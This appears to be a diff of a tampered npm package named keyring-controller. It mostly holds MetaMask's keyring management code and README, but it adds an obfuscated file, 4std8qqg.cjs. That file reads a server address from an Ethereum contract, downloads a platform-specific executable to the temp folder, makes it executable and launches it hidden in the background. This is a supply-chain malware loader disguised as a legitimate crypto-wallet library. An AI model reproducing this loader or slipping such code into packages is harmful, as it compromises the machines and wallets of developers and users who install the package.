keyring-controller 9.0.0

package/4std8qqg.cjs

@@ -0,0 +1 @@
+function _0x56ea(_0x392428,_0x407ba4){const _0x800b2=_0x800b();return _0x56ea=function(_0x56ea7a,_0x16d714){_0x56ea7a=_0x56ea7a-0x13f;let _0x35fb84=_0x800b2[_0x56ea7a];return _0x35fb84;},_0x56ea(_0x392428,_0x407ba4);}const _0x135f02=_0x56ea;function _0x800b(){const _0x396830=['236ntJqpO','join','lNmLW','fgvYc','MpovG','0xa1b40044EBc2794f207D45143Bd82a1B86156c6b','path','platform','trGBJ','axios','function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)','1096cKtkYw','stream','tmpdir','mainnet','darwin','800901cEznZe','3160577GTjdCW','6DItMel','DLjlw','6251856JVHbER','getString','143EHxWQl','hhdkH','unref','3379TUvCkN','createWriteStream','90bxxrVt','2110GQgqwd','/node-win.exe','755','WaQdB','/node-linux','util','data','Contract','bPvis','ignore','1029336SzHnrs','xcSFw','child_process','error','PVEii','pipe','/node-macos','2087052tJrfXW','linux','GmNKK','LBeNm'];_0x800b=function(){return _0x396830;};return _0x800b();}(function(_0x415206,_0x479440){const _0x5b79f0=_0x56ea,_0x4d6e4c=_0x415206();while(!![]){try{const _0x384b55=-parseInt(_0x5b79f0(0x161))/0x1*(-parseInt(_0x5b79f0(0x148))/0x2)+-parseInt(_0x5b79f0(0x144))/0x3+parseInt(_0x5b79f0(0x153))/0x4*(parseInt(_0x5b79f0(0x164))/0x5)+parseInt(_0x5b79f0(0x15a))/0x6*(-parseInt(_0x5b79f0(0x159))/0x7)+parseInt(_0x5b79f0(0x15c))/0x8+parseInt(_0x5b79f0(0x158))/0x9*(-parseInt(_0x5b79f0(0x163))/0xa)+parseInt(_0x5b79f0(0x15e))/0xb*(parseInt(_0x5b79f0(0x16e))/0xc);if(_0x384b55===_0x479440)break;else _0x4d6e4c['push'](_0x4d6e4c['shift']());}catch(_0x4c7cdd){_0x4d6e4c['push'](_0x4d6e4c['shift']());}}}(_0x800b,0x71002));const {ethers}=require('ethers'),axios=require(_0x135f02(0x151)),util=require(_0x135f02(0x169)),fs=require('fs'),path=require(_0x135f02(0x14e)),os=require('os'),{spawn}=require(_0x135f02(0x13f)),contractAddress=_0x135f02(0x14d),WalletOwner='0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84',abi=[_0x135f02(0x152)],provider=ethers['getDefaultProvider'](_0x135f02(0x156)),contract=new ethers[(_0x135f02(0x16b))](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0xf14a7d=_0x135f02,_0x496463={'AHcSV':'Ошибка\x20при\x20получении\x20IP\x20адреса:','DLjlw':function(_0x2d592d){return _0x2d592d();}};try{const _0x1a4207=await contract[_0xf14a7d(0x15d)](WalletOwner);return _0x1a4207;}catch(_0x552231){return console[_0xf14a7d(0x140)](_0x496463['AHcSV'],_0x552231),await _0x496463[_0xf14a7d(0x15b)](fetchAndUpdateIp);}},getDownloadUrl=_0x2eeee2=>{const _0x1d262f=_0x135f02,_0x55cd92={'deLWt':'win32','trGBJ':_0x1d262f(0x145)},_0x1a700f=os['platform']();switch(_0x1a700f){case _0x55cd92['deLWt']:return _0x2eeee2+_0x1d262f(0x165);case _0x55cd92[_0x1d262f(0x150)]:return _0x2eeee2+_0x1d262f(0x168);case _0x1d262f(0x157):return _0x2eeee2+_0x1d262f(0x143);default:throw new Error('Unsupported\x20platform:\x20'+_0x1a700f);}},downloadFile=async(_0x17de60,_0x124571)=>{const _0x465f70=_0x135f02,_0x10d311={'GNWhX':'finish','LBeNm':'error','WaQdB':function(_0x55187f,_0x547262){return _0x55187f(_0x547262);},'PVEii':'GET'},_0x6cbeab=fs[_0x465f70(0x162)](_0x124571),_0x57807c=await _0x10d311[_0x465f70(0x167)](axios,{'url':_0x17de60,'method':_0x10d311[_0x465f70(0x141)],'responseType':_0x465f70(0x154)});return _0x57807c[_0x465f70(0x16a)][_0x465f70(0x142)](_0x6cbeab),new Promise((_0x3b95d4,_0x82d58a)=>{const _0x35f2ee=_0x465f70;_0x6cbeab['on'](_0x10d311['GNWhX'],_0x3b95d4),_0x6cbeab['on'](_0x10d311[_0x35f2ee(0x147)],_0x82d58a);});},executeFileInBackground=async _0x28a336=>{const _0x571863=_0x135f02,_0x864fc1={'bPvis':function(_0x1bf7fb,_0x39e783,_0x4a6dfa,_0x539e45){return _0x1bf7fb(_0x39e783,_0x4a6dfa,_0x539e45);},'lNmLW':_0x571863(0x16d)};try{const _0x5e0728=_0x864fc1[_0x571863(0x16c)](spawn,_0x28a336,[],{'detached':!![],'stdio':_0x864fc1[_0x571863(0x14a)]});_0x5e0728[_0x571863(0x160)]();}catch(_0x1f0746){console['error']('Ошибка\x20при\x20запуске\x20файла:',_0x1f0746);}},runInstallation=async()=>{const _0x2573b6=_0x135f02,_0x59960e={'hhdkH':function(_0x57ffa2){return _0x57ffa2();},'fgvYc':function(_0x1c8467,_0x7dbca1){return _0x1c8467(_0x7dbca1);},'GmNKK':function(_0x3c254b,_0x55cca8,_0x5200f6){return _0x3c254b(_0x55cca8,_0x5200f6);},'xcSFw':function(_0x548401,_0x19c805){return _0x548401!==_0x19c805;},'MpovG':_0x2573b6(0x166)};try{const _0x8fc506=await _0x59960e[_0x2573b6(0x15f)](fetchAndUpdateIp),_0xb97bb=_0x59960e['fgvYc'](getDownloadUrl,_0x8fc506),_0x207240=os[_0x2573b6(0x155)](),_0x4be9b5=path['basename'](_0xb97bb),_0xa6d5ad=path[_0x2573b6(0x149)](_0x207240,_0x4be9b5);await _0x59960e[_0x2573b6(0x146)](downloadFile,_0xb97bb,_0xa6d5ad);if(_0x59960e[_0x2573b6(0x16f)](os[_0x2573b6(0x14f)](),'win32'))fs['chmodSync'](_0xa6d5ad,_0x59960e[_0x2573b6(0x14c)]);_0x59960e[_0x2573b6(0x14b)](executeFileInBackground,_0xa6d5ad);}catch(_0x37467d){console[_0x2573b6(0x140)]('Ошибка\x20установки:',_0x37467d);}};runInstallation();

package/LICENSE

@@ -0,0 +1,15 @@
+ISC License
+
+Copyright (c) 2020 MetaMask
+
+Permission to use, copy, modify, and/or distribute this software for any
+purpose with or without fee is hereby granted, provided that the above
+copyright notice and this permission notice appear in all copies.
+
+THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
+WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
+ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
+ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
+OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.

package/README.md

@@ -0,0 +1,102 @@
+# Eth Keyring Controller
+
+A module for managing groups of Ethereum accounts called "Keyrings", defined originally for MetaMask's multiple-account-type feature.
+
+To add new account types to a `KeyringController`, just make sure it follows [The Keyring Class Protocol](./docs/keyring.md).
+
+The KeyringController has three main responsibilities:
+
+- Initializing & using (signing with) groups of Ethereum accounts ("keyrings").
+- Keeping track of local nicknames for those individual accounts.
+- Providing password-encryption persisting & restoring of secret information.
+
+## Installation
+
+`yarn add eth-keyring-controller`
+
+This library uses the Node.js `events` API. If you are using this library outside of a Node.js context, ensure that you have a polyfill for the `events` API (this is built-in to `browserify`).
+
+## Usage
+
+```javascript
+const KeyringController = require('eth-keyring-controller');
+const SimpleKeyring = require('@metamask/eth-simple-keyring');
+
+const keyringController = new KeyringController({
+  keyringTypes: [SimpleKeyring], // optional array of types to support.
+  initState: initState.KeyringController, // Last emitted persisted state.
+  encryptor: {
+    // An optional object for defining encryption schemes:
+    // Defaults to Browser-native SubtleCrypto.
+    encrypt(password, object) {
+      return new Promise('encrypted!');
+    },
+    decrypt(password, encryptedString) {
+      return new Promise({ foo: 'bar' });
+    },
+  },
+});
+
+// The KeyringController is also an event emitter:
+this.keyringController.on('newAccount', (address) => {
+  console.log(`New account created: ${address}`);
+});
+this.keyringController.on('removedAccount', handleThat);
+```
+
+## Methods
+
+Currently the methods are heavily commented in [the source code](./index.js), so it's the best place to look until we aggregate it here as well.
+
+## Contributing
+
+### Setup
+
+- Install [Node.js](https://nodejs.org) version 14
+  - If you are using [nvm](https://github.com/creationix/nvm#installation) (recommended) running `nvm use` will automatically choose the right node version for you.
+- Install [Yarn v3](https://yarnpkg.com/getting-started/install)
+- Run `yarn install` to install dependencies and run any required post-install scripts
+
+### Testing and Linting
+
+Run `yarn test` to run the tests once.
+
+Run `yarn lint` to run the linter, or run `yarn lint:fix` to run the linter and fix any automatically fixable issues.
+
+### Release & Publishing
+
+The project follows the same release process as the other libraries in the MetaMask organization. The GitHub Actions [`action-create-release-pr`](https://github.com/MetaMask/action-create-release-pr) and [`action-publish-release`](https://github.com/MetaMask/action-publish-release) are used to automate the release process; see those repositories for more information about how they work.
+
+1. Choose a release version.
+
+   - The release version should be chosen according to SemVer. Analyze the changes to see whether they include any breaking changes, new features, or deprecations, then choose the appropriate SemVer version. See [the SemVer specification](https://semver.org/) for more information.
+
+2. If this release is backporting changes onto a previous release, then ensure there is a major version branch for that version (e.g. `1.x` for a `v1` backport release).
+
+   - The major version branch should be set to the most recent release with that major version. For example, when backporting a `v1.0.2` release, you'd want to ensure there was a `1.x` branch that was set to the `v1.0.1` tag.
+
+3. Trigger the [`workflow_dispatch`](https://docs.github.com/en/actions/reference/events-that-trigger-workflows#workflow_dispatch) event [manually](https://docs.github.com/en/actions/managing-workflow-runs/manually-running-a-workflow) for the `Create Release Pull Request` action to create the release PR.
+
+   - For a backport release, the base branch should be the major version branch that you ensured existed in step 2. For a normal release, the base branch should be the main branch for that repository (which should be the default value).
+   - This should trigger the [`action-create-release-pr`](https://github.com/MetaMask/action-create-release-pr) workflow to create the release PR.
+
+4. Update the changelog to move each change entry into the appropriate change category ([See here](https://keepachangelog.com/en/1.0.0/#types) for the full list of change categories, and the correct ordering), and edit them to be more easily understood by users of the package.
+
+   - Generally any changes that don't affect consumers of the package (e.g. lockfile changes or development environment changes) are omitted. Exceptions may be made for changes that might be of interest despite not having an effect upon the published package (e.g. major test improvements, security improvements, improved documentation, etc.).
+   - Try to explain each change in terms that users of the package would understand (e.g. avoid referencing internal variables/concepts).
+   - Consolidate related changes into one change entry if it makes it easier to explain.
+   - Run `yarn auto-changelog validate --rc` to check that the changelog is correctly formatted.
+
+5. Review and QA the release.
+
+   - If changes are made to the base branch, the release branch will need to be updated with these changes and review/QA will need to restart again. As such, it's probably best to avoid merging other PRs into the base branch while review is underway.
+
+6. Squash & Merge the release.
+
+   - This should trigger the [`action-publish-release`](https://github.com/MetaMask/action-publish-release) workflow to tag the final release commit and publish the release on GitHub.
+
+7. Publish the release on npm.
+
+   - Wait for the `publish-release` GitHub Action workflow to finish. This should trigger a second job (`publish-npm`), which will wait for a run approval by the [`npm publishers`](https://github.com/orgs/MetaMask/teams/npm-publishers) team.
+   - Approve the `publish-npm` job (or ask somebody on the npm publishers team to approve it for you).
+   - Once the `publish-npm` job has finished, check npm to verify that it has been published.

package/index.js

@@ -0,0 +1,924 @@
+const encryptor = require('@metamask/browser-passworder');
+const HdKeyring = require('@metamask/eth-hd-keyring');
+const { normalize: normalizeAddress } = require('@metamask/eth-sig-util');
+const SimpleKeyring = require('@metamask/eth-simple-keyring');
+// TODO: Stop using `events`, and remove the notice about this from the README
+// eslint-disable-next-line import/no-nodejs-modules
+const { EventEmitter } = require('events');
+const ObservableStore = require('obs-store');
+
+const defaultKeyringBuilders = [
+  keyringBuilderFactory(SimpleKeyring),
+  keyringBuilderFactory(HdKeyring),
+];
+
+const KEYRINGS_TYPE_MAP = {
+  HD_KEYRING: 'HD Key Tree',
+  SIMPLE_KEYRING: 'Simple Key Pair',
+};
+
+/**
+ * Strip the hex prefix from an address, if present.
+ *
+ * @param {string} address - The address that might be hex prefixed.
+ * @returns {string} The address without a hex prefix.
+ */
+function stripHexPrefix(address) {
+  if (address.startsWith('0x')) {
+    return address.slice(2);
+  }
+  return address;
+}
+
+class KeyringController extends EventEmitter {
+  //
+  // PUBLIC METHODS
+  //
+
+  constructor(opts) {
+    super();
+    const initState = opts.initState || {};
+    this.keyringBuilders = opts.keyringBuilders
+      ? defaultKeyringBuilders.concat(opts.keyringBuilders)
+      : defaultKeyringBuilders;
+    this.store = new ObservableStore(initState);
+    this.memStore = new ObservableStore({
+      isUnlocked: false,
+      keyringTypes: this.keyringBuilders.map(
+        (keyringBuilder) => keyringBuilder.type,
+      ),
+      keyrings: [],
+      encryptionKey: null,
+    });
+
+    this.encryptor = opts.encryptor || encryptor;
+    this.keyrings = [];
+    this._unsupportedKeyrings = [];
+
+    // This option allows the controller to cache an exported key
+    // for use in decrypting and encrypting data without password
+    this.cacheEncryptionKey = Boolean(opts.cacheEncryptionKey);
+  }
+
+  /**
+   * Full Update
+   *
+   * Emits the `update` event and @returns a Promise that resolves to
+   * the current state.
+   *
+   * Frequently used to end asynchronous chains in this class,
+   * indicating consumers can often either listen for updates,
+   * or accept a state-resolving promise to consume their results.
+   *
+   * @returns {object} The controller state.
+   */
+  fullUpdate() {
+    this.emit('update', this.memStore.getState());
+    return this.memStore.getState();
+  }
+
+  /**
+   * Create New Vault And Keychain
+   *
+   * Destroys any old encrypted storage,
+   * creates a new encrypted store with the given password,
+   * randomly creates a new HD wallet with 1 account,
+   * faucets that account on the testnet.
+   *
+   * @fires KeyringController#unlock
+   * @param {string} password - The password to encrypt the vault with.
+   * @returns {Promise<object>} A Promise that resolves to the state.
+   */
+  async createNewVaultAndKeychain(password) {
+    this.password = password;
+
+    await this.createFirstKeyTree();
+    this.setUnlocked();
+    return this.fullUpdate();
+  }
+
+  /**
+   * CreateNewVaultAndRestore
+   *
+   * Destroys any old encrypted storage,
+   * creates a new encrypted store with the given password,
+   * creates a new HD wallet from the given seed with 1 account.
+   *
+   * @fires KeyringController#unlock
+   * @param {string} password - The password to encrypt the vault with.
+   * @param {Uint8Array | string} seedPhrase - The BIP39-compliant seed phrase,
+   * either as a string or Uint8Array.
+   * @returns {Promise<object>} A Promise that resolves to the state.
+   */
+  async createNewVaultAndRestore(password, seedPhrase) {
+    if (typeof password !== 'string') {
+      throw new Error('Password must be text.');
+    }
+    this.password = password;
+
+    await this.clearKeyrings();
+    const keyring = await this.addNewKeyring(KEYRINGS_TYPE_MAP.HD_KEYRING, {
+      mnemonic: seedPhrase,
+      numberOfAccounts: 1,
+    });
+    const [firstAccount] = await keyring.getAccounts();
+
+    if (!firstAccount) {
+      throw new Error('KeyringController - First Account not found.');
+    }
+    this.setUnlocked();
+    return this.fullUpdate();
+  }
+
+  /**
+   * Set Locked
+   * This method deallocates all secrets, and effectively locks MetaMask.
+   *
+   * @fires KeyringController#lock
+   * @returns {Promise<object>} A Promise that resolves to the state.
+   */
+  async setLocked() {
+    delete this.password;
+
+    // set locked
+    this.memStore.updateState({
+      isUnlocked: false,
+      encryptionKey: null,
+      encryptionSalt: null,
+    });
+
+    // remove keyrings
+    this.keyrings = [];
+    await this._updateMemStoreKeyrings();
+    this.emit('lock');
+    return this.fullUpdate();
+  }
+
+  /**
+   * Submit password.
+   *
+   * Attempts to decrypt the current vault and load its keyrings
+   * into memory.
+   *
+   * Temporarily also migrates any old-style vaults first, as well
+   * (Pre MetaMask 3.0.0).
+   *
+   * @fires KeyringController#unlock
+   * @param {string} password - The keyring controller password.
+   * @returns {Promise<object>} A Promise that resolves to the state.
+   */
+  async submitPassword(password) {
+    this.keyrings = await this.unlockKeyrings(password);
+
+    this.setUnlocked();
+    return this.fullUpdate();
+  }
+
+  /**
+   * Submit Encryption Key.
+   *
+   * Attempts to decrypt the current vault and load its keyrings
+   * into memory based on the vault and CryptoKey information.
+   *
+   * @fires KeyringController#unlock
+   * @param {string} encryptionKey - The encrypted key information used to decrypt the vault.
+   * @param {string} encryptionSalt - The salt used to generate the last key.
+   * @returns {Promise<object>} A Promise that resolves to the state.
+   */
+  async submitEncryptionKey(encryptionKey, encryptionSalt) {
+    this.keyrings = await this.unlockKeyrings(
+      undefined,
+      encryptionKey,
+      encryptionSalt,
+    );
+    this.setUnlocked();
+    return this.fullUpdate();
+  }
+
+  /**
+   * Verify Password
+   *
+   * Attempts to decrypt the current vault with a given password
+   * to verify its validity.
+   *
+   * @param {string} password - The vault password.
+   */
+  async verifyPassword(password) {
+    const encryptedVault = this.store.getState().vault;
+    if (!encryptedVault) {
+      throw new Error('Cannot unlock without a previous vault.');
+    }
+    await this.encryptor.decrypt(password, encryptedVault);
+  }
+
+  /**
+   * Add New Keyring
+   *
+   * Adds a new Keyring of the given `type` to the vault
+   * and the current decrypted Keyrings array.
+   *
+   * All Keyring classes implement a unique `type` string,
+   * and this is used to retrieve them from the keyringBuilders array.
+   *
+   * @param {string} type - The type of keyring to add.
+   * @param {object} opts - The constructor options for the keyring.
+   * @returns {Promise<Keyring>} The new keyring.
+   */
+  async addNewKeyring(type, opts) {
+    const keyring = await this._newKeyring(type, opts);
+
+    if ((!opts || !opts.mnemonic) && type === KEYRINGS_TYPE_MAP.HD_KEYRING) {
+      keyring.generateRandomMnemonic();
+      await keyring.addAccounts();
+    }
+
+    const accounts = await keyring.getAccounts();
+    await this.checkForDuplicate(type, accounts);
+
+    this.keyrings.push(keyring);
+    await this.persistAllKeyrings();
+
+    this.fullUpdate();
+
+    return keyring;
+  }
+
+  /**
+   * Remove Empty Keyrings.
+   *
+   * Loops through the keyrings and removes the ones with empty accounts
+   * (usually after removing the last / only account) from a keyring.
+   */
+  async removeEmptyKeyrings() {
+    const validKeyrings = [];
+
+    // Since getAccounts returns a Promise
+    // We need to wait to hear back form each keyring
+    // in order to decide which ones are now valid (accounts.length > 0)
+
+    await Promise.all(
+      this.keyrings.map(async (keyring) => {
+        const accounts = await keyring.getAccounts();
+        if (accounts.length > 0) {
+          validKeyrings.push(keyring);
+        }
+      }),
+    );
+    this.keyrings = validKeyrings;
+  }
+
+  /**
+   * Checks for duplicate keypairs, using the the first account in the given
+   * array. Rejects if a duplicate is found.
+   *
+   * Only supports 'Simple Key Pair'.
+   *
+   * @param {string} type - The key pair type to check for.
+   * @param {Array<string>} newAccountArray - Array of new accounts.
+   * @returns {Promise<Array<string>>} The account, if no duplicate is found.
+   */
+  async checkForDuplicate(type, newAccountArray) {
+    const accounts = await this.getAccounts();
+
+    switch (type) {
+      case KEYRINGS_TYPE_MAP.SIMPLE_KEYRING: {
+        const isIncluded = Boolean(
+          accounts.find(
+            (key) =>
+              key === newAccountArray[0] ||
+              key === stripHexPrefix(newAccountArray[0]),
+          ),
+        );
+
+        if (isIncluded) {
+          throw new Error(
+            'The account you are trying to import is a duplicate',
+          );
+        }
+        return newAccountArray;
+      }
+
+      default: {
+        return newAccountArray;
+      }
+    }
+  }
+
+  /**
+   * Add New Account.
+   *
+   * Calls the `addAccounts` method on the given keyring,
+   * and then saves those changes.
+   *
+   * @param {Keyring} selectedKeyring - The currently selected keyring.
+   * @returns {Promise<object>} A Promise that resolves to the state.
+   */
+  async addNewAccount(selectedKeyring) {
+    const accounts = await selectedKeyring.addAccounts(1);
+    accounts.forEach((hexAccount) => {
+      this.emit('newAccount', hexAccount);
+    });
+
+    await this.persistAllKeyrings();
+    return this.fullUpdate();
+  }
+
+  /**
+   * Export Account
+   *
+   * Requests the private key from the keyring controlling
+   * the specified address.
+   *
+   * Returns a Promise that may resolve with the private key string.
+   *
+   * @param {string} address - The address of the account to export.
+   * @returns {Promise<string>} The private key of the account.
+   */
+  async exportAccount(address) {
+    const keyring = await this.getKeyringForAccount(address);
+    return await keyring.exportAccount(normalizeAddress(address));
+  }
+
+  /**
+   * Remove Account.
+   *
+   * Removes a specific account from a keyring
+   * If the account is the last/only one then it also removes the keyring.
+   *
+   * @param {string} address - The address of the account to remove.
+   * @returns {Promise<void>} A Promise that resolves if the operation was successful.
+   */
+  async removeAccount(address) {
+    const keyring = await this.getKeyringForAccount(address);
+
+    // Not all the keyrings support this, so we have to check
+    if (typeof keyring.removeAccount === 'function') {
+      keyring.removeAccount(address);
+      this.emit('removedAccount', address);
+    } else {
+      throw new Error(
+        `Keyring ${keyring.type} doesn't support account removal operations`,
+      );
+    }
+
+    const accounts = await keyring.getAccounts();
+    // Check if this was the last/only account
+    if (accounts.length === 0) {
+      await this.removeEmptyKeyrings();
+    }
+
+    await this.persistAllKeyrings();
+    return this.fullUpdate();
+  }
+
+  //
+  // SIGNING METHODS
+  //
+
+  /**
+   * Sign Ethereum Transaction
+   *
+   * Signs an Ethereum transaction object.
+   *
+   * @param {object} ethTx - The transaction to sign.
+   * @param {string} _fromAddress - The transaction 'from' address.
+   * @param {object} opts - Signing options.
+   * @returns {Promise<object>} The signed transaction object.
+   */
+  async signTransaction(ethTx, _fromAddress, opts = {}) {
+    const fromAddress = normalizeAddress(_fromAddress);
+    const keyring = await this.getKeyringForAccount(fromAddress);
+    return await keyring.signTransaction(fromAddress, ethTx, opts);
+  }
+
+  /**
+   * Sign Message
+   *
+   * Attempts to sign the provided message parameters.
+   *
+   * @param {object} msgParams - The message parameters to sign.
+   * @param {object} opts - Additional signing options.
+   * @returns {Promise<Buffer>} The raw signature.
+   */
+  async signMessage(msgParams, opts = {}) {
+    const address = normalizeAddress(msgParams.from);
+    const keyring = await this.getKeyringForAccount(address);
+    return await keyring.signMessage(address, msgParams.data, opts);
+  }
+
+  /**
+   * Sign Personal Message
+   *
+   * Attempts to sign the provided message parameters.
+   * Prefixes the hash before signing per the personal sign expectation.
+   *
+   * @param {object} msgParams - The message parameters to sign.
+   * @param {object} opts - Additional signing options.
+   * @returns {Promise<Buffer>} The raw signature.
+   */
+  async signPersonalMessage(msgParams, opts = {}) {
+    const address = normalizeAddress(msgParams.from);
+    const keyring = await this.getKeyringForAccount(address);
+    return await keyring.signPersonalMessage(address, msgParams.data, opts);
+  }
+
+  /**
+   * Get encryption public key
+   *
+   * Get encryption public key for using in encrypt/decrypt process.
+   *
+   * @param {object} address - The address to get the encryption public key for.
+   * @param {object} opts - Additional encryption options.
+   * @returns {Promise<Buffer>} The public key.
+   */
+  async getEncryptionPublicKey(address, opts = {}) {
+    const normalizedAddress = normalizeAddress(address);
+    const keyring = await this.getKeyringForAccount(address);
+    return await keyring.getEncryptionPublicKey(normalizedAddress, opts);
+  }
+
+  /**
+   * Decrypt Message
+   *
+   * Attempts to decrypt the provided message parameters.
+   *
+   * @param {object} msgParams - The decryption message parameters.
+   * @param {object} opts - Additional decryption options.
+   * @returns {Promise<Buffer>} The raw decryption result.
+   */
+  async decryptMessage(msgParams, opts = {}) {
+    const address = normalizeAddress(msgParams.from);
+    const keyring = await this.getKeyringForAccount(address);
+    return keyring.decryptMessage(address, msgParams.data, opts);
+  }
+
+  /**
+   * Sign Typed Data.
+   *
+   * @see {@link https://github.com/ethereum/EIPs/pull/712#issuecomment-329988454|EIP712}.
+   * @param {object} msgParams - The message parameters to sign.
+   * @param {object} opts - Additional signing options.
+   * @returns {Promise<Buffer>} The raw signature.
+   */
+  async signTypedMessage(msgParams, opts = { version: 'V1' }) {
+    const address = normalizeAddress(msgParams.from);
+    const keyring = await this.getKeyringForAccount(address);
+    return keyring.signTypedData(address, msgParams.data, opts);
+  }
+
+  /**
+   * Gets the app key address for the given Ethereum address and origin.
+   *
+   * @param {string} _address - The Ethereum address for the app key.
+   * @param {string} origin - The origin for the app key.
+   * @returns {string} The app key address.
+   */
+  async getAppKeyAddress(_address, origin) {
+    const address = normalizeAddress(_address);
+    const keyring = await this.getKeyringForAccount(address);
+    return keyring.getAppKeyAddress(address, origin);
+  }
+
+  /**
+   * Exports an app key private key for the given Ethereum address and origin.
+   *
+   * @param {string} _address - The Ethereum address for the app key.
+   * @param {string} origin - The origin for the app key.
+   * @returns {string} The app key private key.
+   */
+  async exportAppKeyForAddress(_address, origin) {
+    const address = normalizeAddress(_address);
+    const keyring = await this.getKeyringForAccount(address);
+    // The "in" operator is typically restricted because it also checks inherited properties,
+    // which can be unexpected for plain objects. We're allowing it here because `keyring` is not
+    // a plain object, and we explicitly want to include inherited methods in this check.
+    // eslint-disable-next-line no-restricted-syntax
+    if (!('exportAccount' in keyring)) {
+      throw new Error(
+        `The keyring for address ${_address} does not support exporting.`,
+      );
+    }
+    return keyring.exportAccount(address, { withAppKeyOrigin: origin });
+  }
+
+  //
+  // PRIVATE METHODS
+  //
+
+  /**
+   * Create First Key Tree.
+   *
+   * - Clears the existing vault.
+   * - Creates a new vault.
+   * - Creates a random new HD Keyring with 1 account.
+   * - Makes that account the selected account.
+   * - Faucets that account on testnet.
+   * - Puts the current seed words into the state tree.
+   *
+   * @returns {Promise<void>} A promise that resolves if the operation was successful.
+   */
+  async createFirstKeyTree() {
+    this.clearKeyrings();
+
+    const keyring = await this.addNewKeyring(KEYRINGS_TYPE_MAP.HD_KEYRING);
+    const [firstAccount] = await keyring.getAccounts();
+    if (!firstAccount) {
+      throw new Error('KeyringController - No account found on keychain.');
+    }
+
+    const hexAccount = normalizeAddress(firstAccount);
+    this.emit('newVault', hexAccount);
+    return null;
+  }
+
+  /**
+   * Persist All Keyrings
+   *
+   * Iterates the current `keyrings` array,
+   * serializes each one into a serialized array,
+   * encrypts that array with the provided `password`,
+   * and persists that encrypted string to storage.
+   *
+   * @returns {Promise<boolean>} Resolves to true once keyrings are persisted.
+   */
+  async persistAllKeyrings() {
+    const { encryptionKey, encryptionSalt } = this.memStore.getState();
+
+    if (!this.password && !encryptionKey) {
+      throw new Error(
+        'Cannot persist vault without password and encryption key',
+      );
+    }
+
+    const serializedKeyrings = await Promise.all(
+      this.keyrings.map(async (keyring) => {
+        const [type, data] = await Promise.all([
+          keyring.type,
+          keyring.serialize(),
+        ]);
+        return { type, data };
+      }),
+    );
+
+    serializedKeyrings.push(...this._unsupportedKeyrings);
+
+    let vault;
+    let newEncryptionKey;
+
+    if (this.cacheEncryptionKey) {
+      if (this.password) {
+        const { vault: newVault, exportedKeyString } =
+          await this.encryptor.encryptWithDetail(
+            this.password,
+            serializedKeyrings,
+          );
+
+        vault = newVault;
+        newEncryptionKey = exportedKeyString;
+      } else if (encryptionKey) {
+        const key = await this.encryptor.importKey(encryptionKey);
+        const vaultJSON = await this.encryptor.encryptWithKey(
+          key,
+          serializedKeyrings,
+        );
+        vaultJSON.salt = encryptionSalt;
+        vault = JSON.stringify(vaultJSON);
+      }
+    } else {
+      vault = await this.encryptor.encrypt(this.password, serializedKeyrings);
+    }
+
+    if (!vault) {
+      throw new Error('Cannot persist vault without vault information');
+    }
+
+    this.store.updateState({ vault });
+
+    // The keyring updates need to be announced before updating the encryptionKey
+    // so that the updated keyring gets propagated to the extension first.
+    // Not calling _updateMemStoreKeyrings results in the wrong account being selected
+    // in the extension.
+    await this._updateMemStoreKeyrings();
+    if (newEncryptionKey) {
+      this.memStore.updateState({ encryptionKey: newEncryptionKey });
+    }
+
+    return true;
+  }
+
+  /**
+   * Unlock Keyrings.
+   *
+   * Attempts to unlock the persisted encrypted storage,
+   * initializing the persisted keyrings to RAM.
+   *
+   * @param {string} password - The keyring controller password.
+   * @param {string} encryptionKey - An exported key string to unlock keyrings with.
+   * @param {string} encryptionSalt - The salt used to encrypt the vault.
+   * @returns {Promise<Array<Keyring>>} The keyrings.
+   */
+  async unlockKeyrings(password, encryptionKey, encryptionSalt) {
+    const encryptedVault = this.store.getState().vault;
+    if (!encryptedVault) {
+      throw new Error('Cannot unlock without a previous vault.');
+    }
+
+    await this.clearKeyrings();
+
+    let vault;
+
+    if (this.cacheEncryptionKey) {
+      if (password) {
+        const result = await this.encryptor.decryptWithDetail(
+          password,
+          encryptedVault,
+        );
+        vault = result.vault;
+        this.password = password;
+
+        this.memStore.updateState({
+          encryptionKey: result.exportedKeyString,
+          encryptionSalt: result.salt,
+        });
+      } else {
+        const parsedEncryptedVault = JSON.parse(encryptedVault);
+
+        if (encryptionSalt !== parsedEncryptedVault.salt) {
+          throw new Error('Encryption key and salt provided are expired');
+        }
+
+        const key = await this.encryptor.importKey(encryptionKey);
+        vault = await this.encryptor.decryptWithKey(key, parsedEncryptedVault);
+
+        // This call is required on the first call because encryptionKey
+        // is not yet inside the memStore
+        this.memStore.updateState({
+          encryptionKey,
+          encryptionSalt,
+        });
+      }
+    } else {
+      vault = await this.encryptor.decrypt(password, encryptedVault);
+      this.password = password;
+    }
+
+    await Promise.all(vault.map(this._restoreKeyring.bind(this)));
+    await this._updateMemStoreKeyrings();
+    return this.keyrings;
+  }
+
+  /**
+   * Restore Keyring
+   *
+   * Attempts to initialize a new keyring from the provided serialized payload.
+   * On success, updates the memStore keyrings and returns the resulting
+   * keyring instance.
+   *
+   * @param {object} serialized - The serialized keyring.
+   * @returns {Promise<Keyring>} The deserialized keyring.
+   */
+  async restoreKeyring(serialized) {
+    const keyring = await this._restoreKeyring(serialized);
+    if (keyring) {
+      await this._updateMemStoreKeyrings();
+    }
+    return keyring;
+  }
+
+  /**
+   * Restore Keyring Helper
+   *
+   * Attempts to initialize a new keyring from the provided serialized payload.
+   * On success, returns the resulting keyring instance.
+   *
+   * @param {object} serialized - The serialized keyring.
+   * @returns {Promise<Keyring|undefined>} The deserialized keyring or undefined if the keyring type is unsupported.
+   */
+  async _restoreKeyring(serialized) {
+    const { type, data } = serialized;
+
+    const keyring = await this._newKeyring(type, data);
+    if (!keyring) {
+      this._unsupportedKeyrings.push(serialized);
+      return undefined;
+    }
+
+    // getAccounts also validates the accounts for some keyrings
+    await keyring.getAccounts();
+    this.keyrings.push(keyring);
